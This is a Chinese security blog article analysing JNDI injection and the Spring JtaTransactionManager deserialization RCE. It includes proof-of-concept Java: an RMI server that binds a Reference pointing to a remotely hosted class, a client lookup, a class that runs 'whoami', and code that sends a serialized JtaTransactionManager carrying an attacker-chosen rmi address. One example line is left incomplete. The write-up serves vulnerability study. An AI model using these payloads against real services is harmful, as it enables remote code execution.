Jndi注入及Spring RCE漏洞分析
前言
由于之前一直在外出差,好久沒有做研究了,十一期間重新關注了2016 BlackHat上面的議題,其中jndi注入引起了我的關注,本文主要分為以下3個部分,理解jndi、分析jndi注入問題,以及Srping RCE漏洞形成的原因。
文章目錄
理解jndi
jndi注入產生的原因
Spring RCE與Jndi注入之間的關系
demo
英文好的同學可以去閱讀原文。
理解JNDI
Jndi 全稱是:Java Naming and Directory Interface,叫做Java命名和目錄接口、SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互、如圖:
Java Naming:
命名服務是一種鍵值對的綁定,是應用程序可以通過鍵檢索值
Java Directory:
目錄服務是命名服務的自然擴展。兩者之間的關鍵差別是目錄服務中對象可以有屬性(例如,用戶有email地址),而命名服務中對象沒有屬性。因此,在目錄服務中,你可以根據屬性搜索對象。JNDI允許你訪問文件系統中的文件,定位遠程RMI注冊的對象,訪問象LDAP這樣的目錄服務,定位網絡上的EJB組件
如圖所示的層級結果,通俗理解jndi就是,一組api接口。每一個對象都有一組唯一的鍵值綁定,將名字和對象綁定,可以通過名字檢索制定的對象(object),對象可能存儲在rmi,ldap,CORBA等等。在jndi中提供了綁定和查找的方法,jndi將name和object綁定在了一起,在這基礎上提供了lookup,search功能
1、void bind( String name , Object object ) //將名稱綁定到對象
2、Object lookup( String name ) //通過名字檢索執行的對象
下面寫一個jdni的demo幫助理解:
我們定義一個Person類
import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote,Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String toString(){
return "name:"+name+" password:"+password;
}
}
這里服務端以rmi為例,
package com.jndi.demo;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
public class Test {
public static void initPerson() throws Exception{
//配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常
LocateRegistry.createRegistry(3001);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
////初始化
InitialContext ctx = new InitialContext();
//實例化person對象
Person p = new Person();
p.setName("hello");
p.setPassword("jndi");
//person對象綁定到JNDI服務中,JNDI的名字叫做:person。
ctx.bind("person", p);
ctx.close();
}
public static void findPerson() throws Exception{
//因為前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這里就不用在綁定了
InitialContext ctx = new InitialContext();
//通過lookup查找person對象
Person person = (Person) ctx.lookup("person");
//打印出這個對象
System.out.println(person.toString());
ctx.close();
}
public static void main(String[] args) throws Exception {
initPerson();
findPerson();
}
}</code></pre>
運行結果如圖:

使用debug更直觀的描述整個流程:


從上圖可以清楚的看到,在initPerson方法中,注冊了rmi服務并綁定了端口,給p對象命名為person,在findPerson方法中查找被命名為person的對象,然后通過。最終輸出了hello jndi。
Jndi Naming Reference:
java為了將object對象存儲在Naming或者Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中,當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference后,就可以理解jndi注入產生的原因了。
Jndi注入產生的原因
Applications should not perform JNDI lookups with untrusted data
jndi注入產生的原因可以歸結到以下4點
1、lookup參數可控。
2、InitialContext類及他的子類的lookup方法允許動態協議轉換
3、lookup查找的對象是Reference類型及其子類
4、當遠程調用類的時候默認會在rmi服務器中的classpath中查找,如果不存在就會去url地址去加載類。如果都加載不到就會失敗。
我們跟進lookup函數:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
繼續跟進getURLOrDefaultInitCtx函數,

發現getURLOrDefaultInitCtx會返回兩種情況,
第一種getDefaultInit(),
第二種是getUrlContext(scheme,myPorps)。
這說明即使 Context.PROVIDER_URL參數被初為rmi://127.0.0.1:1099/foo,但是如果lookup的參數可控,那我們就可以重寫url地址,使url地址指向我們的服務器。例如:
// Create the initial context
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");
Context ctx = new InitialContext(env);
// Look up in the local RMI registry
Object local_obj = ctx.lookup(
);
就可以實現遠程加載惡意的對象,實現遠程代碼執行。
我們發現存在3種方法,可以通過jndi注入導致遠程代碼執行:
rmi、通過jndi reference遠程調用object方法。
CORBA IOR 遠程獲取實現類
LDAP 通過序列化對象,JNDI Referene,ldap地址
demo2 jndi注入例子:
Server端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class SERVER {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecObj", "ExecObj", " http://127.0.0.1:8081/ ");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}
Client端:
import javax.naming.Context;
import javax.naming.InitialContext;
public class CLIENT {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
ExecObj:
package com.jndi.cn;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public static void main(String[] args) throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
首先javac ExecObj、將生成的class文件放在web服務器目錄下。然后依次執行server端,client端
運行結果如圖:


Spring RCE
Spring RCE形成的主要原因是 Spring框架的spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager 存在一個readObject方法。當執行對象反序列化的時候,會執行lookup操作,導致了jndi注入,可以導致遠程代碼執行問題,具體原因在這里不分析了,在iswin師傅的博文里有詳細的分析。


到這里漏洞的成因就比較清晰了,這里的userTransactionName變量我們可以控制,通過setter方法可以初始化該變量,這里userTransactionName可以是rmi的調用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName變量,就可以觸發JNDI的RCE,繼續跟進lookupUserTransaction方法

導致jndi的RCE導致了Spring Framework反序列化的產生
關鍵代碼:
String jndiAddress = "rmi://127.0.0.1:1999/Object";
JtaTransactionManager object = new JtaTransactionManager();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
當我們把這段序列化的對象發送給服務端的時候,就會觸發jndi rce漏洞。

來自:http://www.freebuf.com/vuls/115849.html